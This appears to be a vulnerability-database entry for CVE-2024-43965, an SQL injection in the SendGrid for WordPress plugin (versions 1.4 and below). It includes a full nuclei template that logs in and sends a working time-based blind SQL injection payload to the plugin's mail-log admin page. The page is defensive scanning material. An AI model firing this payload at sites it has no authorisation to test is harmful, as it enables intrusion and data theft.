Browse / CVEs / CVE-2024-43965
CVE-2024-43965· CWE-89
SendGrid for WordPress <= 1.4 - SQL Injection
criticalseverity
9.8CVSS score
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it
Smackcoders SendGrid for WordPress [affected versions 1.4 and below] contains a SQL injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL queries, exploit requires crafted input.
Impact
Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
Fix
Update to the latest version of SendGrid for WordPress, version 1.5 or later.
How to confirm it
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: @timeout: 30s
Positive when: status_code == 200 and duration >= 8 and contains_all(body, "wp-mailplus", "SendGrid")Run it with nuclei: nuclei -id CVE-2024-43965 -u <target>
The full check
id: CVE-2024-43965
info:
name: SendGrid for WordPress <= 1.4 - SQL Injection
author: Shivam Kamboj
severity: critical
description: |
Smackcoders SendGrid for WordPress [affected versions 1.4 and below] contains a SQL injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL queries, exploit requires crafted input.
impact: |
Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
remediation: |
Update to the latest version of SendGrid for WordPress, version 1.5 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-43965
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-sendgrid-mailer/sendgrid-for-wordpress-14-unauthenticated-sql-injection
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-43965
epss-score: 0.02035
epss-percentile: 0.81256
cwe-id: CWE-89
metadata:
verified: true
max-request: 3
tags: cve,cve2024,wordpress,wp,wp-plugin,sqli,wp-sendgrid-mailer,unauth
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
@timeout: 30s
GET /wp-admin/admin.php?page=wp-mailplus-logs&orderby=sent_time%2c(select*from(select(sleep(8)))a)&order=asc HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'duration >= 8'
- 'contains_all(body, "wp-mailplus", "SendGrid")'
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2024-43965
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-sendgrid-mailer/sendgrid-for-wordpress-14-unauthenticated-sql-injection
Use this check only on systems you are authorised to test. Where the data comes from